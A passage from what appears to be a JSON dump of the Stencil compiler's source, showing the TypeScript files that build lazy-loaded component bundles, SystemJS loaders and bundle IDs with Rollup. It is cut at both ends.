Promise.all(\n    outputTargets.map(async (o) => {\n      if (o.esmDir && o.esmIndexFile) {\n        const entryPointPath =\n          config.buildEs5 && o.esmEs5Dir ? join(o.esmEs5Dir, indexFilename) : join(o.esmDir, indexFilename);\n\n        const relativePath = relativeImport(o.esmIndexFile, entryPointPath);\n        const shortcutContent = `export * from '${relativePath}';`;\n        await compilerCtx.fs.writeFile(o.esmIndexFile, shortcutContent, { outputTargetType: o.type });\n      }\n    }),\n  );\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-lazy/generate-lazy-module.ts",
    "content": "import {\n  formatComponentRuntimeMeta,\n  getSourceMappingUrlForEndOfFile,\n  hasDependency,\n  join,\n  rollupToStencilSourceMap,\n  stringifyRuntimeData,\n} from '@utils';\nimport type { SourceMap as RollupSourceMap } from 'rollup';\n\nimport type * as d from '../../../declarations';\nimport { optimizeModule } from '../../optimize/optimize-module';\nimport { writeLazyModule } from './write-lazy-entry-module';\n\nexport const generateLazyModules = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  outputTargetType: string,\n  destinations: string[],\n  results: d.RollupResult[],\n  sourceTarget: d.SourceTarget,\n  isBrowserBuild: boolean,\n): Promise<d.BundleModule[]> => {\n  if (!Array.isArray(destinations) || destinations.length === 0) {\n    return [];\n  }\n  const shouldMinify = !!(config.minifyJs && isBrowserBuild);\n  const rollupResults = results.filter((r): r is d.RollupChunkResult => r.type === 'chunk');\n  const entryComponentsResults = rollupResults.filter((rollupResult) => rollupResult.isComponent);\n  const chunkResults = rollupResults.filter((rollupResult) => !rollupResult.isComponent && !rollupResult.isEntry);\n\n  const bundleModules = await Promise.all(\n    entryComponentsResults.map((rollupResult) => {\n      return generateLazyEntryModule(\n        config,\n        compilerCtx,\n        buildCtx,\n        rollupResult,\n        outputTargetType,\n        destinations,\n        sourceTarget,\n        shouldMinify,\n        isBrowserBuild,\n      );\n    }),\n  );\n\n  if ((!!config.extras.experimentalImportInjection || !!config.extras.enableImportInjection) && !isBrowserBuild) {\n    addStaticImports(rollupResults, bundleModules);\n  }\n\n  await Promise.all(\n    chunkResults.map((rollupResult) => {\n      return writeLazyChunk(\n        config,\n        compilerCtx,\n        buildCtx,\n        rollupResult,\n        outputTargetType,\n        destinations,\n        sourceTarget,\n        shouldMinify,\n        isBrowserBuild,\n      );\n    }),\n  );\n\n  const lazyRuntimeData = formatLazyBundlesRuntimeMeta(bundleModules);\n  const entryResults = rollupResults.filter((rollupResult) => !rollupResult.isComponent && rollupResult.isEntry);\n  await Promise.all(\n    entryResults.map((rollupResult) => {\n      return writeLazyEntry(\n        config,\n        compilerCtx,\n        buildCtx,\n        rollupResult,\n        outputTargetType,\n        destinations,\n        lazyRuntimeData,\n        sourceTarget,\n        shouldMinify,\n        isBrowserBuild,\n      );\n    }),\n  );\n\n  await Promise.all(\n    results\n      .filter((r): r is d.RollupAssetResult => r.type === 'asset')\n      .map((r: d.RollupAssetResult) => {\n        return Promise.all(\n          destinations.map((dest) => {\n            return compilerCtx.fs.writeFile(join(dest, r.fileName), r.content);\n          }),\n        );\n      }),\n  );\n\n  return bundleModules;\n};\n\n/**\n * Add imports for each bundle to Stencil's lazy loader. Some bundlers that are built atop of Rollup strictly impose\n * the limitations that are laid out in https://github.com/rollup/plugins/tree/master/packages/dynamic-import-vars#limitations.\n * This function injects an explicit import statement for each bundle that can be lazily loaded.\n * @param rollupChunkResults the results of running Rollup across a Stencil project\n * @param bundleModules lazy-loadable modules that can be resolved at runtime\n */\nconst addStaticImports = (rollupChunkResults: d.RollupChunkResult[], bundleModules: d.BundleModule[]): void => {\n  rollupChunkResults.filter(isStencilCoreResult).forEach((index: d.RollupChunkResult) => {\n    const generateCjs = isCjsFormat(index) ? generateCaseClauseCjs : generateCaseClause;\n    index.code = index.code.replace(\n      '/*!__STENCIL_STATIC_IMPORT_SWITCH__*/',\n      `\n        if (!hmrVersionId || !BUILD.hotModuleReplacement) {\n          const processMod = importedModule => {\n              cmpModules.set(bundleId, importedModule);\n              return importedModule[exportName];\n          }\n          switch(bundleId) {\n              ${bundleModules.map((mod) => generateCjs(mod.output.bundleId)).join('')}\n          }\n      }`,\n    );\n  });\n};\n\n/**\n * Determine if a Rollup output chunk contains Stencil runtime code\n * @param rollupChunkResult the rollup chunk output to test\n * @returns true if the output chunk contains Stencil runtime code, false otherwise\n */\nconst isStencilCoreResult = (rollupChunkResult: d.RollupChunkResult): boolean => {\n  return (\n    rollupChunkResult.isCore &&\n    rollupChunkResult.entryKey === 'index' &&\n    (rollupChunkResult.moduleFormat === 'es' ||\n      rollupChunkResult.moduleFormat === 'esm' ||\n      isCjsFormat(rollupChunkResult))\n  );\n};\n\n/**\n * Helper function to determine if a Rollup chunk has a commonjs module format\n * @param rollupChunkResult the Rollup result to test\n * @returns true if the Rollup chunk has a commonjs module format, false otherwise\n */\nconst isCjsFormat = (rollupChunkResult: d.RollupChunkResult): boolean => {\n  return rollupChunkResult.moduleFormat === 'cjs' || rollupChunkResult.moduleFormat === 'commonjs';\n};\n\n/**\n * Generate a 'case' clause to be used within a `switch` statement. The case clause generated will key-off the provided\n * bundle ID for a component, and load a file (tied to that ID) at runtime.\n * @param bundleId the name of the bundle to load\n * @returns the case clause that will load the component's file at runtime\n */\nconst generateCaseClause = (bundleId: string): string => {\n  return `\n                case '${bundleId}':\n                    return import(\n                      /* webpackMode: \"lazy\" */\n                      './${bundleId}.entry.js').then(processMod, consoleError);`;\n};\n\n/**\n * Generate a 'case' clause to be used within a `switch` statement. The case clause generated will key-off the provided\n * bundle ID for a component, and load a CommonJS file (tied to that ID) at runtime.\n * @param bundleId the name of the bundle to load\n * @returns the case clause that will load the component's file at runtime\n */\nconst generateCaseClauseCjs = (bundleId: string): string => {\n  return `\n                case '${bundleId}':\n                    return Promise.resolve().then(function () { return /*#__PURE__*/_interopNamespace(require(\n                        /* webpackMode: \"lazy\" */\n                        './${bundleId}.entry.js')); }).then(processMod, consoleError);`;\n};\n\nconst generateLazyEntryModule = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  rollupResult: d.RollupChunkResult,\n  outputTargetType: string,\n  destinations: string[],\n  sourceTarget: d.SourceTarget,\n  shouldMinify: boolean,\n  isBrowserBuild: boolean,\n): Promise<d.BundleModule> => {\n  const entryModule = buildCtx.entryModules.find((entryModule) => entryModule.entryKey === rollupResult.entryKey);\n\n  const { code, sourceMap } = await convertChunk(\n    config,\n    compilerCtx,\n    buildCtx,\n    sourceTarget,\n    shouldMinify,\n    false,\n    isBrowserBuild,\n    rollupResult.code,\n    rollupResult.map,\n  );\n\n  const output = await writeLazyModule(compilerCtx, outputTargetType, destinations, code, sourceMap, rollupResult);\n\n  return {\n    rollupResult,\n    entryKey: rollupResult.entryKey,\n    cmps: entryModule.cmps,\n    output,\n  };\n};\n\nconst writeLazyChunk = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  rollupResult: d.RollupChunkResult,\n  outputTargetType: string,\n  destinations: string[],\n  sourceTarget: d.SourceTarget,\n  shouldMinify: boolean,\n  isBrowserBuild: boolean,\n) => {\n  const { code, sourceMap } = await convertChunk(\n    config,\n    compilerCtx,\n    buildCtx,\n    sourceTarget,\n    shouldMinify,\n    rollupResult.isCore,\n    isBrowserBuild,\n    rollupResult.code,\n    rollupResult.map,\n  );\n\n  await Promise.all(\n    destinations.map((dst) => {\n      const filePath = join(dst, rollupResult.fileName);\n      let fileCode = code;\n      const writes: Promise<any>[] = [];\n      if (sourceMap) {\n        fileCode = code + getSourceMappingUrlForEndOfFile(rollupResult.fileName);\n        writes.push(compilerCtx.fs.writeFile(filePath + '.map', JSON.stringify(sourceMap), { outputTargetType }));\n      }\n      writes.push(compilerCtx.fs.writeFile(filePath, fileCode, { outputTargetType }));\n      return Promise.all(writes);\n    }),\n  );\n};\n\nconst writeLazyEntry = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  rollupResult: d.RollupChunkResult,\n  outputTargetType: string,\n  destinations: string[],\n  lazyRuntimeData: string,\n  sourceTarget: d.SourceTarget,\n  shouldMinify: boolean,\n  isBrowserBuild: boolean,\n): Promise<void> => {\n  if (isBrowserBuild && ['loader'].includes(rollupResult.entryKey)) {\n    return;\n  }\n  const inputCode = rollupResult.code.replace(`[/*!__STENCIL_LAZY_DATA__*/]`, `${lazyRuntimeData}`);\n  const { code, sourceMap } = await convertChunk(\n    config,\n    compilerCtx,\n    buildCtx,\n    sourceTarget,\n    shouldMinify,\n    false,\n    isBrowserBuild,\n    inputCode,\n    rollupResult.map,\n  );\n\n  await Promise.all(\n    destinations.map((dst) => {\n      const filePath = join(dst, rollupResult.fileName);\n      let fileCode = code;\n      const writes: Promise<any>[] = [];\n      if (sourceMap) {\n        fileCode = code + getSourceMappingUrlForEndOfFile(rollupResult.fileName);\n        writes.push(compilerCtx.fs.writeFile(filePath + '.map', JSON.stringify(sourceMap), { outputTargetType }));\n      }\n      writes.push(compilerCtx.fs.writeFile(filePath, fileCode, { outputTargetType }));\n      return Promise.all(writes);\n    }),\n  );\n};\n\n/**\n * Sorts, formats, and stringifies the bundles for a lazy build of a Stencil project.\n *\n * @param bundleModules The modules for the Stencil lazy build emitted from Rollup.\n * @returns A stringified representation of the lazy bundles.\n */\nconst formatLazyBundlesRuntimeMeta = (bundleModules: d.BundleModule[]): string => {\n  const sortedBundles = bundleModules.slice().sort(sortBundleModules);\n  const lazyBundles = sortedBundles.map(formatLazyRuntimeBundle);\n  return stringifyRuntimeData(lazyBundles);\n};\n\n/**\n * Formats a bundle module into a tuple of bundle ID and component metadata for use at runtime.\n *\n * @param bundleModule The bundle module to format.\n * @returns A tuple of bundle ID and component metadata.\n */\nconst formatLazyRuntimeBundle = (bundleModule: d.BundleModule): d.LazyBundleRuntimeData => {\n  const bundleId = bundleModule.output.bundleId;\n  const bundleCmps = bundleModule.cmps.slice().sort(sortBundleComponents);\n  return [bundleId, bundleCmps.map((cmp) => formatComponentRuntimeMeta(cmp, true))];\n};\n\n/**\n * Sorts bundle modules by the number of dependents, dependencies, and containing component tags.\n * Dependencies/dependents may also include components that are statically slotted into other components.\n * The order of the bundle modules is important because it determines the order in which the bundles are loaded\n * and subsequently the order that their respective components are defined and connected (i.e. via the `connectedCallback`)\n * at runtime.\n *\n * This must be a valid {@link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#comparefn | compareFn}\n *\n * @param a The first argument to compare.\n * @param b The second argument to compare.\n * @returns A number indicating whether the first argument is less than/greater than/equal to the second argument.\n */\nexport const sortBundleModules = (a: d.BundleModule, b: d.BundleModule): -1 | 1 | 0 => {\n  const aDependents = a.cmps.reduce((dependents, cmp) => {\n    dependents.push(...cmp.dependents);\n    return dependents;\n  }, [] as string[]);\n  const bDependents = b.cmps.reduce((dependents, cmp) => {\n    dependents.push(...cmp.dependents);\n    return dependents;\n  }, [] as string[]);\n\n  if (a.cmps.some((cmp) => bDependents.includes(cmp.tagName))) return 1;\n  if (b.cmps.some((cmp) => aDependents.includes(cmp.tagName))) return -1;\n\n  const aDependencies = a.cmps.reduce((dependencies, cmp) => {\n    dependencies.push(...cmp.dependencies);\n    return dependencies;\n  }, [] as string[]);\n  const bDependencies = b.cmps.reduce((dependencies, cmp) => {\n    dependencies.push(...cmp.dependencies);\n    return dependencies;\n  }, [] as string[]);\n\n  if (a.cmps.some((cmp) => bDependencies.includes(cmp.tagName))) return -1;\n  if (b.cmps.some((cmp) => aDependencies.includes(cmp.tagName))) return 1;\n\n  if (aDependents.length < bDependents.length) return -1;\n  if (aDependents.length > bDependents.length) return 1;\n\n  if (aDependencies.length > bDependencies.length) return -1;\n  if (aDependencies.length < bDependencies.length) return 1;\n\n  const aTags = a.cmps.map((cmp) => cmp.tagName);\n  const bTags = b.cmps.map((cmp) => cmp.tagName);\n\n  if (aTags.length > bTags.length) return -1;\n  if (aTags.length < bTags.length) return 1;\n\n  const aTagsStr = aTags.sort().join('.');\n  const bTagsStr = bTags.sort().join('.');\n\n  if (aTagsStr < bTagsStr) return -1;\n  if (aTagsStr > bTagsStr) return 1;\n\n  return 0;\n};\n\nexport const sortBundleComponents = (a: d.ComponentCompilerMeta, b: d.ComponentCompilerMeta): -1 | 1 | 0 => {\n  // <cmp-a>\n  //   <cmp-b>\n  //     <cmp-c></cmp-c>\n  //   </cmp-b>\n  // </cmp-a>\n\n  // cmp-c is a dependency of cmp-a and cmp-b\n  // cmp-c is a directDependency of cmp-b\n  // cmp-a is a dependant of cmp-b and cmp-c\n  // cmp-a is a directDependant of cmp-b\n\n  if (a.directDependents.includes(b.tagName)) return 1;\n  if (b.directDependents.includes(a.tagName)) return -1;\n\n  if (a.directDependencies.includes(b.tagName)) return 1;\n  if (b.directDependencies.includes(a.tagName)) return -1;\n\n  if (a.dependents.includes(b.tagName)) return 1;\n  if (b.dependents.includes(a.tagName)) return -1;\n\n  if (a.dependencies.includes(b.tagName)) return 1;\n  if (b.dependencies.includes(a.tagName)) return -1;\n\n  if (a.dependents.length < b.dependents.length) return -1;\n  if (a.dependents.length > b.dependents.length) return 1;\n\n  if (a.dependencies.length > b.dependencies.length) return -1;\n  if (a.dependencies.length < b.dependencies.length) return 1;\n\n  if (a.tagName < b.tagName) return -1;\n  if (a.tagName > b.tagName) return 1;\n\n  return 0;\n};\n\nconst convertChunk = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  sourceTarget: d.SourceTarget,\n  shouldMinify: boolean,\n  isCore: boolean,\n  isBrowserBuild: boolean,\n  code: string,\n  rollupSrcMap: RollupSourceMap,\n) => {\n  let sourceMap = rollupToStencilSourceMap(rollupSrcMap);\n  const inlineHelpers = isBrowserBuild || !hasDependency(buildCtx, 'tslib');\n  const optimizeResults = await optimizeModule(config, compilerCtx, {\n    input: code,\n    sourceMap,\n    isCore,\n    sourceTarget,\n    inlineHelpers,\n    minify: shouldMinify,\n  });\n  buildCtx.diagnostics.push(...optimizeResults.diagnostics);\n\n  if (typeof optimizeResults.output === 'string') {\n    code = optimizeResults.output;\n  }\n\n  if (optimizeResults.sourceMap) {\n    sourceMap = optimizeResults.sourceMap;\n  }\n  return { code, sourceMap };\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-lazy/generate-system.ts",
    "content": "import { generatePreamble, join, relativeImport } from '@utils';\nimport type { OutputOptions, RollupBuild } from 'rollup';\n\nimport type * as d from '../../../declarations';\nimport { getAppBrowserCorePolyfills } from '../../app-core/app-polyfills';\nimport { generateRollupOutput } from '../../app-core/bundle-app-core';\nimport { generateLazyModules } from './generate-lazy-module';\nimport { lazyBundleIdPlugin } from './lazy-bundleid-plugin';\n\nexport const generateSystem = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  rollupBuild: RollupBuild,\n  outputTargets: d.OutputTargetDistLazy[],\n): Promise<d.UpdatedLazyBuildCtx> => {\n  const systemOutputs = outputTargets.filter((o) => !!o.systemDir);\n\n  if (systemOutputs.length > 0) {\n    const esmOpts: OutputOptions = {\n      banner: generatePreamble(config),\n      format: 'system',\n      entryFileNames: config.hashFileNames ? 'p-[hash].system.js' : '[name].system.js',\n      chunkFileNames: config.hashFileNames ? 'p-[hash].system.js' : '[name]-[hash].system.js',\n      assetFileNames: config.hashFileNames ? 'p-[hash][extname]' : '[name]-[hash][extname]',\n      sourcemap: config.sourceMap,\n      plugins: [lazyBundleIdPlugin(buildCtx, config, config.hashFileNames, '.system', true)],\n    };\n    const results = await generateRollupOutput(rollupBuild, esmOpts, config, buildCtx.entryModules);\n    if (results != null) {\n      const destinations = systemOutputs\n        .map((o) => o.esmDir)\n        .filter((esmDir): esmDir is string => typeof esmDir === 'string');\n      buildCtx.systemComponentBundle = await generateLazyModules(\n        config,\n        compilerCtx,\n        buildCtx,\n        outputTargets[0].type,\n        destinations,\n        results,\n        'es5',\n        true,\n      );\n\n      await generateSystemLoaders(config, compilerCtx, results, systemOutputs);\n    }\n  }\n\n  return { name: 'system', buildCtx };\n};\n\nconst generateSystemLoaders = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  rollupResult: d.RollupResult[],\n  systemOutputs: d.OutputTargetDistLazy[],\n): Promise<void[]> => {\n  const loaderFilename = rollupResult.find((r) => r.type === 'chunk' && r.isBrowserLoader).fileName;\n\n  return Promise.all(systemOutputs.map((o) => writeSystemLoader(config, compilerCtx, loaderFilename, o)));\n};\n\nconst writeSystemLoader = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  loaderFilename: string,\n  outputTarget: d.OutputTargetDistLazy,\n): Promise<void> => {\n  if (outputTarget.systemLoaderFile) {\n    const entryPointPath = join(outputTarget.systemDir, loaderFilename);\n    const relativePath = relativeImport(outputTarget.systemLoaderFile, entryPointPath);\n    const loaderContent = await getSystemLoader(config, compilerCtx, relativePath, !!outputTarget.polyfills);\n    await compilerCtx.fs.writeFile(outputTarget.systemLoaderFile, loaderContent, {\n      outputTargetType: outputTarget.type,\n    });\n  }\n};\n\nconst getSystemLoader = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  corePath: string,\n  includePolyfills: boolean,\n): Promise<string> => {\n  const polyfills = includePolyfills\n    ? await getAppBrowserCorePolyfills(config, compilerCtx)\n    : '/* polyfills excluded */';\n  return `\n'use strict';\n(function () {\n  var currentScript = document.currentScript;\n\n  // Safari 10 support type=\"module\" but still download and executes the nomodule script\n  if (!currentScript || !currentScript.hasAttribute('nomodule') || !('onbeforeload' in currentScript)) {\n\n    ${polyfills}\n\n    // Figure out currentScript (for IE11, since it does not support currentScript)\n    var regex = /\\\\/${config.fsNamespace}(\\\\.esm)?\\\\.js($|\\\\?|#)/;\n    var scriptElm = currentScript || Array.from(document.querySelectorAll('script')).find(function(s) {\n      return regex.test(s.src) || s.getAttribute('data-stencil-namespace') === \"${config.fsNamespace}\";\n    });\n\n    var resourcesUrl = scriptElm ? scriptElm.getAttribute('data-resources-url') || scriptElm.src : '';\n    var start = function() {\n      // if src is not present then origin is \"null\", and new URL() throws TypeError: Failed to construct 'URL': Invalid base URL\n      var url = new URL('${corePath}', new URL(resourcesUrl, window.location.origin !== 'null' ? window.location.origin : undefined));\n      System.import(url.href);\n    };\n\n    start();\n\n    // Note: using .call(window) here because the self-executing function needs\n    // to be scoped to the window object for the ES6Promise polyfill to work\n  }\n}).call(window);\n`;\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-lazy/lazy-build-conditionals.ts",
    "content": "import { isOutputTargetHydrate } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { getBuildFeatures, updateBuildConditionals } from '../../app-core/app-data';\n\nexport const getLazyBuildConditionals = (\n  config: d.ValidatedConfig,\n  cmps: d.ComponentCompilerMeta[],\n): d.BuildConditionals => {\n  const build = getBuildFeatures(cmps) as d.BuildConditionals;\n\n  build.lazyLoad = true;\n  build.hydrateServerSide = false;\n  // TODO: deprecated in favour of `setTagTransformer` and `transformTag`. Remove in 5.0\n  build.transformTagName = config.extras.tagNameTransform;\n  build.asyncQueue = config.taskQueue === 'congestionAsync';\n  build.taskQueue = config.taskQueue !== 'immediate';\n  build.initializeNextTick = config.extras.initializeNextTick;\n\n  const hasHydrateOutputTargets = config.outputTargets.some(isOutputTargetHydrate);\n  build.hydrateClientSide = hasHydrateOutputTargets;\n\n  updateBuildConditionals(config, build);\n\n  return build;\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-lazy/lazy-bundleid-plugin.ts",
    "content": "import MagicString from 'magic-string';\n\nimport type { OutputChunk, Plugin } from 'rollup';\nimport type * as d from '../../../declarations';\n\n/**\n * A Rollup plugin to generate unique bundle IDs for lazy-loaded modules.\n * @param buildCtx The build context\n * @param config The validated configuration\n * @param shouldHash Whether to hash the bundle ID\n * @param suffix The suffix to append to the bundle ID\n * @param isBrowserBuild Whether this is a browser build\n * @returns A Rollup plugin\n */\nexport const lazyBundleIdPlugin = (\n  buildCtx: d.BuildCtx,\n  config: d.ValidatedConfig,\n  shouldHash: boolean,\n  suffix: string,\n  isBrowserBuild?: boolean,\n): Plugin => {\n  const getBundleId = async (entryKey: string, code: string, suffix: string): Promise<string> => {\n    if (shouldHash && config.sys?.generateContentHash) {\n      const hash = await config.sys.generateContentHash(code, config.hashedFileNameLength);\n      return `p-${hash}${suffix}`;\n    }\n\n    const components = entryKey.split('.');\n    let bundleId = components[0];\n    if (components.length > 2) {\n      bundleId = `${bundleId}_${components.length - 1}`;\n    }\n\n    return bundleId + suffix;\n  };\n\n  return {\n    name: 'lazyBundleIdPlugin',\n    async generateBundle(_, bundle) {\n      const files = Object.entries<OutputChunk>(bundle as any);\n      const map = new Map<string, string>();\n      const filesToDelete: string[] = [];\n\n      // For browser builds, loader entries are skipped by writeLazyEntry\n      // So we need to delete their sourcemaps to avoid orphaned files\n      if (isBrowserBuild && config.sourceMap) {\n        for (const [key, file] of files) {\n          if (file.type === 'chunk' && file.isEntry && file.name === 'loader') {\n            const mapFileName = key + '.map';\n            if (bundle[mapFileName]) {\n              filesToDelete.push(mapFileName);\n            }\n          }\n        }\n      }\n\n      for (const [_key, file] of files) {\n        if (!file.isEntry) continue;\n\n        const entryModule = buildCtx.entryModules.find((em) => em.entryKey === file.name);\n        if (!entryModule) continue;\n\n        const newFileName = (await getBundleId(file.name, file.code, suffix)) + '.entry.js';\n        map.set(file.fileName, newFileName);\n\n        // If we're renaming the file, mark the old sourcemap for deletion\n        if (file.fileName !== newFileName && config.sourceMap) {\n          const oldMapFileName = file.fileName + '.map';\n          if (bundle[oldMapFileName]) {\n            filesToDelete.push(oldMapFileName);\n          }\n        }\n      }\n\n      // Delete orphaned sourcemap files before early return\n      for (const fileName of filesToDelete) {\n        delete bundle[fileName];\n      }\n\n      if (!map.size) return;\n\n      for (const [_key, file] of files) {\n        if (!file.isEntry) continue;\n\n        const newFileName = map.get(file.fileName);\n        if (!newFileName) continue;\n\n        file.facadeModuleId = newFileName;\n        file.fileName = newFileName;\n\n        const magicString = new MagicString(file.code);\n\n        file.imports.forEach((imported: string, i) => {\n          const replaced = map.get(imported);\n          if (replaced) {\n            magicString.replaceAll(imported, replaced);\n            file.imports[i] = replaced;\n          }\n        });\n        file.code = magicString.toString();\n\n        if (config.sourceMap && file.map) {\n          // Update the file name in the existing sourcemap,\n          // preserving the original mappings\n          file.map.file = newFileName;\n        }\n      }\n    },\n  };\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-lazy/lazy-component-plugin.ts",
    "content": "import { normalizePath } from '@utils';\nimport type { Plugin } from 'rollup';\n\nimport type * as d from '../../../declarations';\n\nexport const lazyComponentPlugin = (buildCtx: d.BuildCtx): Plugin => {\n  const entrys = new Map<string, d.EntryModule>();\n\n  const plugin: Plugin = {\n    name: 'lazyComponentPlugin',\n\n    resolveId(importee) {\n      const entryModule = buildCtx.entryModules.find((entryModule) => entryModule.entryKey === importee);\n      if (entryModule) {\n        entrys.set(importee, entryModule);\n        return importee;\n      }\n\n      return null;\n    },\n\n    load(id) {\n      const entryModule = entrys.get(id);\n      if (entryModule) {\n        return entryModule.cmps.map(createComponentExport).join('\\n');\n      }\n      return null;\n    },\n  };\n\n  return plugin;\n};\n\nconst createComponentExport = (cmp: d.ComponentCompilerMeta): string => {\n  const originalClassName = cmp.componentClassName;\n  const underscoredClassName = cmp.tagName.replace(/-/g, '_');\n  const filePath = normalizePath(cmp.sourceFilePath);\n  return `export { ${originalClassName} as ${underscoredClassName} } from '${filePath}';`;\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-lazy/lazy-output.ts",
    "content": "import { catchError, isOutputTargetDist, isOutputTargetDistLazy, sortBy } from '@utils';\nimport MagicString from 'magic-string';\nimport * as ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport type { BundleOptions } from '../../bundle/bundle-interface';\nimport { bundleOutput } from '../../bundle/bundle-output';\nimport {\n  LAZY_BROWSER_ENTRY_ID,\n  LAZY_EXTERNAL_ENTRY_ID,\n  STENCIL_APP_GLOBALS_ID,\n  STENCIL_CORE_ID,\n  STENCIL_INTERNAL_CLIENT_PATCH_BROWSER_ID,\n  USER_INDEX_ENTRY_ID,\n} from '../../bundle/entry-alias-ids';\nimport { generateComponentBundles } from '../../entries/component-bundles';\nimport { generateModuleGraph } from '../../entries/component-graph';\nimport { lazyComponentTransform } from '../../transformers/component-lazy/transform-lazy-component';\nimport { removeCollectionImports } from '../../transformers/remove-collection-imports';\nimport { rewriteAliasedSourceFileImportPaths } from '../../transformers/rewrite-aliased-paths';\nimport { updateStencilCoreImports } from '../../transformers/update-stencil-core-import';\nimport { generateCjs } from './generate-cjs';\nimport { generateEsm } from './generate-esm';\nimport { generateEsmBrowser } from './generate-esm-browser';\nimport { generateSystem } from './generate-system';\nimport { getLazyBuildConditionals } from './lazy-build-conditionals';\nimport { addTagTransform } from '../../transformers/add-tag-transform';\n\nexport const outputLazy = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n): Promise<void> => {\n  const outputTargets = config.outputTargets.filter(isOutputTargetDistLazy);\n  if (outputTargets.length === 0) {\n    return;\n  }\n\n  const bundleEventMessage = `generate lazy${config.sourceMap ? ' + source maps' : ''}`;\n  const timespan = buildCtx.createTimeSpan(`${bundleEventMessage} started`);\n\n  try {\n    const bundleOpts: BundleOptions = {\n      id: 'lazy',\n      platform: 'client',\n      conditionals: getLazyBuildConditionals(config, buildCtx.components),\n      customBeforeTransformers: getCustomBeforeTransformers(config, compilerCtx, buildCtx),\n      inlineWorkers: config.outputTargets.some(isOutputTargetDist),\n      inputs: {\n        [config.fsNamespace]: LAZY_BROWSER_ENTRY_ID,\n        loader: LAZY_EXTERNAL_ENTRY_ID,\n        index: USER_INDEX_ENTRY_ID,\n      },\n      loader: {\n        [LAZY_EXTERNAL_ENTRY_ID]: getLazyEntry(false),\n        [LAZY_BROWSER_ENTRY_ID]: getLazyEntry(true),\n      },\n    };\n\n    // we've got the compiler context filled with app modules and collection dependency modules\n    // figure out how all these components should be connected\n    generateEntryModules(config, buildCtx);\n    buildCtx.entryModules.forEach((entryModule) => {\n      bundleOpts.inputs[entryModule.entryKey] = entryModule.entryKey;\n    });\n\n    const rollupBuild = await bundleOutput(config, compilerCtx, buildCtx, bundleOpts);\n    if (rollupBuild != null) {\n      const results: d.UpdatedLazyBuildCtx[] = await Promise.all([\n        generateEsmBrowser(config, compilerCtx, buildCtx, rollupBuild, outputTargets),\n        generateEsm(config, compilerCtx, buildCtx, rollupBuild, outputTargets),\n        generateSystem(config, compilerCtx, buildCtx, rollupBuild, outputTargets),\n        generateCjs(config, compilerCtx, buildCtx, rollupBuild, outputTargets),\n      ]);\n\n      results.forEach((result) => {\n        if (result.name === 'cjs') {\n          buildCtx.commonJsComponentBundle = result.buildCtx.commonJsComponentBundle;\n        } else if (result.name === 'system') {\n          buildCtx.systemComponentBundle = result.buildCtx.systemComponentBundle;\n        } else if (result.name === 'esm') {\n          buildCtx.esmComponentBundle = result.buildCtx.esmComponentBundle;\n          buildCtx.es5ComponentBundle = result.buildCtx.es5ComponentBundle;\n        } else if (result.name === 'esm-browser') {\n          buildCtx.esmBrowserComponentBundle = result.buildCtx.esmBrowserComponentBundle;\n          buildCtx.buildResults = result.buildCtx.buildResults;\n          buildCtx.components = result.buildCtx.components;\n        }\n      });\n\n      if (buildCtx.esmBrowserComponentBundle != null) {\n        buildCtx.componentGraph = generateModuleGraph(buildCtx.components, buildCtx.esmBrowserComponentBundle);\n      }\n    }\n  } catch (e: any) {\n    catchError(buildCtx.diagnostics, e);\n  }\n\n  timespan.finish(`${bundleEventMessage} finished`);\n};\n\n/**\n * Generate a collection of transformations that are to be applied as a part of the `before` step in the TypeScript\n * compilation process.\n #\n * @param config the Stencil configuration associated with the current build\n * @param compilerCtx the current compiler context\n * @returns a collection of transformations that should be applied to the source code, intended for the `before` part\n * of the pipeline\n */\nconst getCustomBeforeTransformers = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx?: d.BuildCtx,\n): ts.TransformerFactory<ts.SourceFile>[] => {\n  const transformOpts: d.TransformOptions = {\n    coreImportPath: STENCIL_CORE_ID,\n    componentExport: 'lazy',\n    componentMetadata: null,\n    currentDirectory: config.sys.getCurrentDirectory(),\n    proxy: null,\n    style: 'static',\n    styleImportData: 'queryparams',\n  };\n  const customBeforeTransformers = [updateStencilCoreImports(transformOpts.coreImportPath)];\n\n  if (config.transformAliasedImportPaths) {\n    customBeforeTransformers.push(rewriteAliasedSourceFileImportPaths);\n  }\n\n  if (buildCtx.config.extras.additionalTagTransformers) {\n    customBeforeTransformers.push(addTagTransform(compilerCtx, buildCtx));\n  }\n\n  customBeforeTransformers.push(\n    lazyComponentTransform(compilerCtx, transformOpts, buildCtx),\n    removeCollectionImports(compilerCtx),\n  );\n  return customBeforeTransformers;\n};\n\n/**\n * Generate entry modules to be used by the build process by determining how\n * modules and components are connected\n *\n * **Note**: this function mutates the {@link d.BuildCtx} object that is\n * passed in to it, assigning the generated entry modules to the `entryModules`\n * property\n *\n * @param config the Stencil configuration file that was provided as a part of the build step\n * @param buildCtx the current build context\n */\nfunction generateEntryModules(config: d.ValidatedConfig, buildCtx: d.BuildCtx): void {\n  // figure out how modules and components connect\n  try {\n    const bundles = generateComponentBundles(config, buildCtx);\n    buildCtx.entryModules = 